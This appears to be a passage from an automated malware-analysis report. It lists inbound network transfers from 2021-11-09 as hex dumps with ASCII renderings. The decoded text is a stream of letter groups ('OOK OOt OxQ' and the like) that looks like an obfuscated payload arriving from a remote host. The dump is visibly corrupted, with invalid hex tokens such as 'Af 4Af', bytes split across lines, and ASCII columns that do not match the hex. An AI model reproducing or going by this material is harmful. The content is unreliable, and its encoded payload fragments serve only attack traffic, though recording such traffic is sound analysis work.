4f 78 4f 20 4f 4f 4b 20 4b 51 20 59 6f 20 6f 52 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 4f 52 20 52 74 20 59 6f 20
52 74 20 4f 59 45 20 59 4b 20
Data Ascii: Kk OOR YK to OR OOt QQ OO0 Yx Kk Yx OtR kR Qx OtO OxQ OO0 Yo QY Q YK kK OOR kx OOt Rt Yk Yx
KQ Yx OoK KE OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK Oko Kk Ex OKE OOK OOt Oxt EO OK Kk Yx Kk
OOE OxR tx OxO OOK KQ Yo oR Oxk kk OOK OOY OOR Rt Yo Rt OYE YK

2021-11-09 21:21:48 UTC 46 IN Data Raw: 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78
51 20 4f 4f 6b 20 6f 45 20 4b 78 20 4f 20 52 6f 20 6b 52 20 4f 4f 45 20 4f 4f 45 20 52 51 20 4f 74 20 59 78 20 4b 6b 20 59
6f 20 4b 74 20 4f 78 45 20 4f 4f 52 20 52 20 4f 51 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 74 6f 20 6f 6b 20 6f 4b 6f 20 4f 4f 45
20 6f 52 20 59 52 20 4f 4f 45 20 59 78 20 59 4b 20 45 78 20 6f 6f 20 6b 52 20 51 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 6f 20
59 6f 20 51 59 20 4f 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20
4f 6f 4b 20 4f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20
4f 78 45 20 4f 78 20 6f 4b 20 4b
Data Ascii: OOt Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O Ro kR OOE OOE RQ Ot Yx Kk Yo Kt OXE OOR R
OQk 000 Yx Yk to ok oKo OOE oR YR OOE Yx YK Ex 00 kR Qx OoK OxQ OO0 Yo QY OO YK kK OOR kx OOt Rt Yk Yx
KQ Yx OoK OR OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK K

2021-11-09 21:21:48 UTC 48 IN Data Raw: 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59
20 45 52 20 45 52 20 6f 78 4b 20 4b 6b 20 45 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78
20 4b 6b 20 6f 4b 52 20 6b 74 20 51 6b 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 52 74 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b
4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 52 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 6f 59 20 4f 4f 6f 20 59
78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 45 20 45 52 20 6f 78 4b 20 4b
6b 20 45 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f
4f 20 4f 6f 4f 20 4f 4b 6f 20 59 6f
Data Ascii: OxQ OOk YR Kt RO Okt Qx OOK OOt OO0 kY ER ER oxK Kk Ek OOK OOt Oxt E OtQ Kk Yx Kk oKR kt Qk
000 OKo Yo Rt Yx YK ko O oKK OxQ OO0 Yo OKR oE KR RK OKx OOY oY OO0 Yx YK RY OkE kK OOK OOQY oxt kY
KE ER oxK Kk EE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OO0 OoO OKo Yo
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kBytes
Timestamp transferred Direction Data

2021-11-09 21:21:48 UTC 49 IN Data Raw: 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59
78 20 59 4b 20 4f 6f 74 20 51 78 20 4f 78 78 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 6f 4b 20 4f 6b 52 20 59 4b 20 6b 4b 20 4f 4f
52 20 51 59 20 74 59 20 4f 4f 59 20 59 4b 20 59 45 20 6f 52 20 51 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 4f 4f 6f
20 59 78 20 4b 45 20 6f 20 59 78 20 6b 4b 20 6b 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 59 20 4b 6b 20 59 78 20 45
51 20 6b 78 20 4f 20 6f 4b 51 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74
20 6f 20 45 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 4f
20 59 4f 20 59 4b 20 6b 6f 20
Data Ascii: YE Yx Yx Kk EQ 0OY OOt OxQ Ooo oR Eo Yx YK Oot Qx Oxx OxQ OO0 oY oK OkR YK kK OOR QY tY OOY
YK YE oR QY kK OOK OOY tO OO0 Yx KE 0 Yx kK kt OOR OxQ OO0 KY Kk Yx EQ kx O oKQ Oxk OO0 Yo 00 RY OKY
kK OOK Oot 0 EO YO Kk Yo OQ EQ Oxt OOt OxQ Ooo QE tO YO YK ko

2021-11-09 21:21:48 UTC 50 IN Data Raw: 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f
4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4b 20 4f 78 6b 20
Af 4Af 6f 20 59 78 20 4b 52 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59
78 20 59 59 20 74 51 20 52 52 20 4f 4f 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6f 20 6b 4b 20 4f 4f 4b 20
4f 78 78 20 4f 4f 4b 20 4f 78 6b 20 6f 52 20 51 6b 20 59 78 20 59 4b 20 51 4b 20 78 20 4f 45 20 4f 78 4f 20 4f 4f 6f 20 52 5
2 20 6f 4b 20 4f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 78 74 20 6b 6b 20 4f 59 6b 20 4b 6b 20 59 78 20 52 78
20 4f 6f 78 20 52 6b 20 4f 4f 59
Data Ascii: K tE OOY OOt OxQ OOE Yx Kk Yx Ok kk OOK OOR OxQ 000 Yx Kk Yx YK kk OOK OxK Oxk OO0 Yx KR
YO YK kK OOQ OOt OxQ OO0 RO Kk Yx YY tQ RR OOk OxQ Ok Yx Kk Yx 00 kk OOK Oxx OOK Oxk oR Qk Yx YK QK
X OE OxO OO0 RR oK OO YK kK Oox Oot Oxt kk OYk Kk Yx Rx Oox Rk OOY

2021-11-09 21:21:48 UTC 52 IN Data Raw: 59 78 20 59 4b 20 6b 59 20 51 78 20 6f 78 59 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6f 4b 20 52 45 20 59 4b 20
6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20
52 51 20 6f 78 6f 20 59 78 20 4b 6b 20 59 52 20 4f 6b 6f 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 52 20
4b 51 20 59 78 20 59 78 20 4b 74 20 6f 78 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 52 20 59 6b 20 59 4f 20 59 4b 20 6b
78 20 4f 6f 20 4f 6f 4b 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 51 20 6f 20 45 6f 20 45 6b 20 6f 6f 6b 20 4f 6f 59 20 4f 78 51 2
0 78 20 45 6b 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 45
74 20 4f 6b 74 20 6f 4f 74 20 4f
Data Ascii: Yx YK kY Qx oxY OxQ OOo YR 00K RE YK kK OO0 QE 0OE OO0 Yx Yk oR OKE kK OOK Oot RQ oxo Yx Kk
YR Oko QK OOY OOt OXY OK YR KQ Yx Yx Kt oxO OOt OxQ Oo0 tR Yk YO YK kx Oo OoK Oxk OOo YK 0Q o Eo Ek
ook OoY OxQ x Ek 0oK RE YK kK OO0 QE 0OE OOo Yx Yk Et Okt 0Ot O

2021-11-09 21:21:48 UTC 53 IN Data Raw: 4b 20 4f 6f 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52
20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 45 6b 20 59 78 20 59 4b 20 6b 6f 20 6f 51 20 4f 4b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20
6f 52 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 4f 4f 20 59 78 20 59 4b
20 6b 6f 20 6f 51 20 4b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 52 20 52 6b 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f
78 51 20 4f 4f 6b 20 6f 52 20 6f 78 51 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 6b 6b 20 4f 78 59 20 6b 52 20 45 6b 20 6f
74 20 59 59 20 45 78 20 74 78 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 51 59 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 52 20
59 6f 20 4f 4f 45 20 52 51 20
Data Ascii: K OoE OxQ OO0 Yx Kk OOR Yx OoK oxR OOR OxQ OOk oR oEk Yx YK ko 0Q OK Oxk OO0 Yo oR OOR Yx
00K 0xR OOR OxQ OOk oR 000 Yx YK ko 0Q K Oxk OOo Yo oR Rk Yx OoK oxR OOR OxQ OOk oR oxQ Yx YK ko kt
kk OxY kR Ek ot YY Ex tx OOK OOt tx EO QY KQ Yx Kk OoR Yo OOE RQ

2021-11-09 21:21:48 UTC 57 IN Data Raw: 52 20 4f 45 6b 20 4f 4f 4b 20 4f 78 78 20 4f 78 52 20 4f 78 45 20 4f 78 52 20 45 59 20 59 45 20 45 51 20 6b 45
20 51 51 20 4f 4f 59 20 6f 6f 74 20 6f 59 20 78 20 4f 4b 52 20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 6f
4b 20 4f 4f 52 20 51 45 20 52 78 20 59 78 20 59 4b 20 51 4b 20 74 6f 20 4b 4f 20 4f 4b 52 20 4f 4b 45 20 6f 78 59 20 6f 45
6b 20 52 6f 20 45 51 20 6b 78 20 51 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b
20 4f 74 4b 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6b 20 45 45 20 4f 6f 20 4f 6f 52 20 4f 6f 59 20 4f 78
52 20 6f 59 4b 20 51 4f 20 4f 59 20 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20
4b 6b 20 59 6f 20 6f 6b 20 6b 59
Data Ascii: R OEk OOK Oxx OxR OXE OxR EY YE EQ kE QQ OOY oot oY x OKR oER YE OOK Oto OOt OoK OOR QE
Rx Yx YK QK to KO OKR OKE oxY oEk Ro EQ kx QK OOK OoK OOR QE YQ Yx YK QK OtK OtO OOx kR oER Kk Yk EE
00 OoR OoY OxR oYK QO OY ox 0xO OtO OKO OtO OOx kR oER Kk Yo ok kY

2021-11-09 21:21:48 UTC 61 IN Data Raw: 20 6f 6f 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 45 20 6f 52 20 4f 6f 20 4f 6b 6f 20 59 78 20 59 4b 20 6b 4b
20 51 51 20 4f 78 78 20 6f 20 4f 52 52 20 59 78 20 4b 6b 20 59 52 20 45 51 20 51 6f 20 52 52 20 4f 4b 20 4f 78 52 20 6b
78 20 59 78 20 4b 6b 20 4f 6b 20 59 45 20 52 6f 20 51 45 20 74 20 4f 6f 4b 20 51 74 20 51 45 20 4f 51 20 59 78 20 59 4b
20 51 4b 20 6f 51 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 4f 51 4f 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52
20 74 6f 20 4f 78 6f 20 4b 6f 20 4f 6b 51 20 4f 78 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 6b 78 20 4f 6f 45 20 4f 4f 4f 20 6b 20
4f 74 45 20 6f 45 20 45 45 20 74 59 20 4b 52 20 6f 45 6f 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 4f 4b 6b 20 52
74 20 6f 51 20 59 51 20 4f 78 51 20 4f
Data Ascii: 00K kk OOK Oot OoE oR Oo Oko Yx YK kK QQ Oxx 0 ORR Yx Kk YR EQ Qo RR OK OxR kx Yx Kk Ok YE
Ro QE t OoK Qt QE OQ Yx YK QK 0Q kO OxQ OO0 YR EQ OQO OOx kK OOK OOR to Oxo Ko OkQ OxK YK kK OOY
kx OoE OOO k OtE oE EE tY KR oEo Ex to Yx Kk YR OKk Rt 0Q YQ OxQ O

2021-11-09 21:21:48 UTC 65 IN Data Raw: 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 52 20 6f 4f 52 20 59 78 20 59 4b 20 6b 6f 20 6f 51 20 4f 52 6b 20 4f 78
51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 74 6f 20 4f 74 59 20 4b 6b
20 59 78 20 59 4b 20 74 78 20 4f 4f 6f 20 51 45 20 74 52 20 4f 4f 6f 20 59 78 20 59 6b 20 52 45 20 52 45 20 45 51 20 6b
78 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4f 51 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 4f 20 4f 78 51 20 4f 4f 6f
20 59 52 20 4b 74 20 4b 78 20 45 78 20 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 20 4f 74 51 20 59 78 20 59 78 20 74
78 20 4f 6f 4b 20 6b 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78
52 20 4f 78 51 20 4f 4f 6f 20 59 52 20
Data Ascii: OOt OXE 00x oR 00R Yx YK ko 0Q ORk OxQ OO0 YR YY QE oo kK OOK Oot Qt to OtY Kk Yx YK tx OO0
QE tR 000 Yx Yk RE RE EQ kx OOt OxQ 000 0R OQ Yx YK QK 0Q kO OxQ OOo YR Kt Kx Ex R OOK OOt OXE o OtQ
Yx Yx tx OoK kQ OOt OxQ Ooo0 tR KR Yx YK QK 0Q OxR OxQ OO0 YR

2021-11-09 21:21:48 UTC 69 IN Data Raw: 4f 4f 51 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b 20 4f 74 4b 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52
20 4b 6b 20 59 6f 20 6f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4b 4b 20 4f 6f 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6b 4b
20 4f 4f 4b 20 6f 45 4f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 59 52 20 59 78 20 59 4b 20 6b 4b 20 74 52 20 4f 4f 51 20 4f 78
51 20 4f 4f 6f 20 52 6f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b
20 59 78 20 4f 45 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 4b 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 4f 6f 52 20 59 6f 20 6b 4
b 20 4f 4f 4b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 4f 6f 20 4f 4f 74 20 4f
78 51 20 4f 4f 6f 20 4f 4b 6b
Data Ascii: O0Q QE YQ Yx YK QK OtK OtO OOx kR oER Kk Yo ok kk OOK OOt KK Oo Yx Kk Kk YK kk OOK oEO Oxk
000 Yx OYR Yx YK kK tR O0OQ OxQ OO0 Ro Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx OEE kK OOK OOt oKK OOE
Yx Kk OoR Yo kk OOK OOk OxQ OO0 Yx Yk Yx YK kY OO0 OOt OxQ OO0 OKk
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kBytes
Timestamp transferred Direction Data

2021-11-09 21:21:48 UTC 73 IN Data Raw: 45 20 6f 45 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 74 20 45 20 4f 51 51 20 4b 6b 20 59 78 20 4b 6b 20 6b
6b 20 4f 6f 6f 20 4f 4f 4b 20 6f 20 4f 6f 6b 20 59 78 20 4b 6b 20 59 6f 20 52 6f 20 74 59 20 4f 6f 45 20 6f 4b 6b 20 59 59 20
Af 4Af 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 6f 4b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20
59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 4b 20 4f 59 20 4b 6b 20 59 4b 20 45 52 20 4f 6f
20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 59 51 20 4f 4f 6f
20 59 78 20 59 4b 20 59 6b 20 45 6f 20 59 51 20 4f 45 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 6b 20 51 59 20 6f 45 74
20 59 4b 20 6b 4b 20 4f 6f 78 20
Data Ascii: E oEE kK OOK Oot Oxt E OQQ Kk Yx Kk kk Ooo OOK 0 Ook Yx Kk Yo Ro tY OoE oKk YY OOo Yx KQ oE oEx
oKE OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo RK OY Kk YK ER Oo Oxt OxQ OO0 YR oK KY YK kK Oox oR OY
Q 000 Yx YK Yk Eo YQ OEK OOt OxQ OOk Yk QY oEt YK kK Oox

2021-11-09 21:21:48 UTC 77 IN Data Raw: 45 52 20 59 78 20 59 4b 20 6b 78 20 6f 59 6f 20 6f 6b 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 4b 51 20
6b 4b 20 78 20 4f 4f 45 20 4f 78 51 20 4f 4f 6f 20 74 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 20 4f 78 4f 20 4f 78 51 20
Af 4f 6f 20 59 4b 20 59 4f 20 4f 6b 4b 20 4f 52 74 20 74 59 20 4f 6f 74 20 59 45 20 4f 6b 74 20 4f 4f 59 20 59 78 20 4b 6b
20 4b 6b 20 59 45 20 52 4f 20 4f 78 74 20 4b 59 20 4f 4f 74 20 6b 6b 20 4f 6f 6b 20 4b 6b 20 59 78 20 4b 6b 20 52 74 20 6f
4b 20 4b 4b 20 78 20 4f 6f 6f 20 45 52 20 59 51 20 4b 6b 20 74 74 20 52 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 6f 20
4f 52 20 59 78 20 74 45 20 45 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 6f 6f 74 20 6f 59 20 59 74 20 59 78 20 74 6b 20 45 4b
20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f
Data Ascii: ER Yx YK kx oYo ok tO OO0 Yx KE 0 KQ kK x OOE OxQ OOo t Kk Yx EQ kR Q OxO OxQ OOo YK YO OkK
ORt tY Oot YE Okt OOY Yx Kk Kk YE RO Oxt KY OOt kk Ook Kk Yx Kk Rt oK KK x Ooo ER YQ Kk tt RK OOK OOt OxY
Qo OR Yx tE EK kk OOK OOE oot oY Yt Yx tk EK kk OOK OOE O

2021-11-09 21:21:48 UTC 82 IN Data Raw: 6f 52 20 4f 45 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 78 20 51 51 20 59 59 20 59 4f 20 4b 59 20 6b 6f 20 52 6f
20 52 59 20 4f 4f 78 20 4f 4f 4f 20 4f 4f 4b 20 45 59 20 59 45 20 4b 78 20 45 78 20 6f 45 78 20 4f 4f 4b 20 Af 4f 74 20 4f 78
74 20 4f 78 45 20 6b 6b 20 4f 78 59 20 4b 6b 20 74 74 20 52 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 4b 6f 20 6f 52 20 4f
6f 6b 20 59 78 20 59 4b 20 6b 6f 20 6b 51 20 4f 78 4b 20 4f 4f 4f 20 4f 4f 4b 20 4b 51 20 45 45 20 59 59 20 6b 6b 20 4f 6f
20 6f 74 20 4f 4f 4f 20 52 51 20 4f 51 4b 20 59 78 20 4b 6b 20 59 6f 20 45 45 20 52 6f 20 4b 45 20 4f 4f 51 20 6f 6f 20 51
74 20 59 78 20 4b 6b 20 59 4b 20 4f 78 6b 20 4f 6f 4b 20 4f 51 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 6f 20 4
5 74 20 Af 4f 78 20 74 4f 20 4f 4f
Data Ascii: 0R OE0 kK OOK OOY x QQ YY YO KY ko Ro RY OOx OO0 OOK EY YE Kx Ex oEx OOK OOt Oxt OXE kk
OxY Kk tt RQ OOK OOt OxY Ko oR Ook Yx YK ko kQ OxK OO0 OOK KQ EE YY kk Oo ot OO0 RQ OQK Yx Kk Yo EE
Ro KE O0Q 00 Qt Yx Kk YK Oxk OoK OQK OOt OxQ OOk EY Yo Et OOx tO OO

2021-11-09 21:21:48 UTC 86 IN Data Raw: 20 4f 4f 6f 20 59 78 20 59 6b 20 45 45 20 59 4f 20 52 51 20 4f 4f 51 20 51 51 20 51 6f 20 51 52 20 59 45 20 45
45 20 59 4b 20 4b 51 20 52 51 20 4f 4f 6b 20 6f 45 51 20 4f 6f 45 20 51 74 20 59 59 20 51 59 20 6f 78 78 20 59 4b 20 6b
4b 20 4f 6f 78 20 6f 4f 59 20 4f 78 52 20 51 74 20 59 4b 20 4f 74 78 20 52 4b 20 4f 4f 20 51 59 20 4f 4f 4b 20 59 20 4f 4f 51
20 45 4f 20 4f 51 52 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 4f 4f 78 20 4f 4f 51 20 4f 74 20 51 6b 20 59 78 20 4b 6b 20
59 4b 20 45 51 20 6b 78 20 4f 78 4f 20 4b 59 20 52 51 20 4f 78 51 20 59 78 20 4b 6b 20 6f 59 20 59 6f 20 4b 74 20 51 52
20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 45 59 20 59 6f 20 59 45 20 45 51 20 6b 78 20 6f 45 6f 20 6f 4f 59 20 4f 6f 4b 20 4f 4f
52 20 45 74 20 4f 78 4b 20 45 45 20 59
Data Ascii: 000 Yx Yk EE YO RQ 00Q QQ Qo QR YE EE YK KQ RQ OOk 0EQ O0E Qt YY QY oxx YK kK Oox 00Y O
XR Qt YK Otx RK 00 QY OOK Y 00Q EO OQR Kk Yx Rx Oox O0Ox 00Q Ot Qk Yx Kk YK EQ kx OxO KY RQ OxQ Yx Kk
oY Yo Kt QR OOt OxQ OOR EY Yo YE EQ kx 0Eo 00Y OoK OOR Et OxK EE Y

2021-11-09 21:21:48 UTC 90 IN Data Raw: 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 74 45 20 45 74 20 59 78 20 59 4b
20 6b 78 20 6b 6b 20 4f 4f 78 20 51 45 20 4f 4f 4b 20 59 78 20 6f 78 6f 20 59 78 20 59 4b 20 6b 4b 20 74 51 20 4f 4f 74 20
4f 78 51 20 51 74 20 52 59 20 52 45 20 59 4f 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 4f 6b 20 6f 20 51 52 20 59 4f 20 4b 6b 20
59 52 20 52 4f 20 4f 78 6b 20 4f 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 45 20 51 59 20 45 59 20 59 59 20 6b 4b 20
Af 6f 78 20 4f 6f 4f 20 4f 4f 4f 20 6b 6b 20 6f 4b 74 20 4b 6b 20 59 78 20 4b 6b 20 51 6f 20 6f 51 20 6f 4f 52 20 4f 78 6b 20
Af 4f 6f 20 59 6f 20 6f 4b 20 6f 4b 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 74 52 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 4b 6b 20 52
59 20 4f 4b 6f 20 6b 4b 20 4f 4f
Data Ascii: KQ Rx kk OOK OOR OOY OOK tE Et Yx YK kx kk OOx QE OOK Yx oxo Yx YK kK tQ OOt OxQ Qt RY RE
YO YK QK Oox OOk 0 QR YO Kk YR RO Oxk OkK OOt OxQ OO0 YE QY EY YY kK Oox 000 OOO kk oKt Kk Yx Kk Qo
0Q 00OR Oxk OO0 Yo oK oKQ YK kK OOR tR OQo OO0 Yx Kk RY OKo kk OO

2021-11-09 21:21:48 UTC 94 IN Data Raw: 20 59 78 20 59 6b 20 51 45 20 74 20 6b 59 20 4f 4f 4b 20 4f 6f 74 20 4f 78 4f 20 51 78 20 59 78 20 4b 6b 20 4b
4f 20 52 20 6b 74 20 4f 4f 4b 20 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 52 20 59 78 20 59 4b 20 52 51 20 4f 78 78
20 51 45 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 4b 20 59 52 20 45 78 20 4f 78 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 45 20 45 4f
20 4f 20 4b 51 20 59 78 20 52 78 20 6b 6b 20 51 52 20 4f 4f 51 20 52 51 20 52 6b 20 59 4f 20 4b 6b 20 59 52 20 51 78 20
6b 6f 20 4b 78 20 51 45 20 51 59 20 4f 4f 45 20 59 78 20 59 6b 20 51 45 20 59 20 6b 59 20 4f 4f 4b 20 4f 6f 74 20 51 74
20 51 6b 20 4b 6b 20 6f 4b 20 74 20 59 59 20 6b 4b 20 4f 6f 78 20 6f 59 20 4f 78 74 20 4b 6f 20 59 74 20 6b 51 20 59 45
20 51 59 20 45 51 20 52 6b 20 4f 4f 52 20 4f
Data Ascii: Yx Yk QE t kY OOK Oot OxO Qx Yx Kk KO R kt OOK Ko OxQ OO0 Yx OOR Yx YK RQ Oxx QE Okk OO0 Yx
YK YR Ex Oxo OOY OOt OxE EO O KQ Yx Rx kk QR O0Q RQ Rk YO Kk YR Qx ko Kx QE QY OOE Yx Yk QE Y kY OOK
Oot Qt Qk Kk oK t YY kK Oox oY Oxt Ko Yt kQ YE QY EQ Rk OOR O

2021-11-09 21:21:48 UTC 97 IN Data Raw: 4b 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6b 6b 20 4f 6f 52 20 4b 51 20 59 78 20 52 78 20 4b 6f 20 6b 6f 20 4f
4f 52 20 4f 78 51 20 4f 4f 52 20 6f 45 20 6f 51 20 45 74 20 4f 52 20 4b 6f 20 4f 78 6b 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20
6f 78 4b 20 59 4b 20 4f 6b 20 59 6f 20 6b 4b 20 4f 4f 52 20 52 20 45 6f 20 4f 4f 45 20 59 78 20 59 6b 20 6f 45 20 4f 6b 6f
20 4f 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 6f 45 20 4b 6b 20 59 78 20 6f 51 20 4f 6f 4b 20 6b 4b 20 4f 4f 74
20 4f 78 51 20 51 4f 20 51 45 20 4f 6f 74 20 59 4f 20 59 4b 20 51 4b 20 6f 51 20 45 74 20 4f 78 6b 20 4f 4f 6f 20 59 52 20
51 59 20 51 51 20 59 59 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 74 78 20 74 74 20 59 6f 20 51 59 20 51 52 20 59 59 20 6b 4b
20 4f 6f 78 20 4f 6f 52 20 4f 78
Data Ascii: Kt OOK OOt OxQ kk OoR KQ Yx Rx Ko ko OOR OxQ OOR oE 0Q Et OR Ko Oxk OOR OxQ OOR oxK YK Ok
Yo kK OOR R Eo OOE Yx Yk oE Oko OOR OOY OOt OxY kk oE Kk Yx 0Q OoK kK OOt OxQ QO QE Oot YO YK QK 0Q
Et Oxk OO0 YR QY QQ YY kK Oox Oot tx tt Yo QY QR YY kK Oox OoR Ox

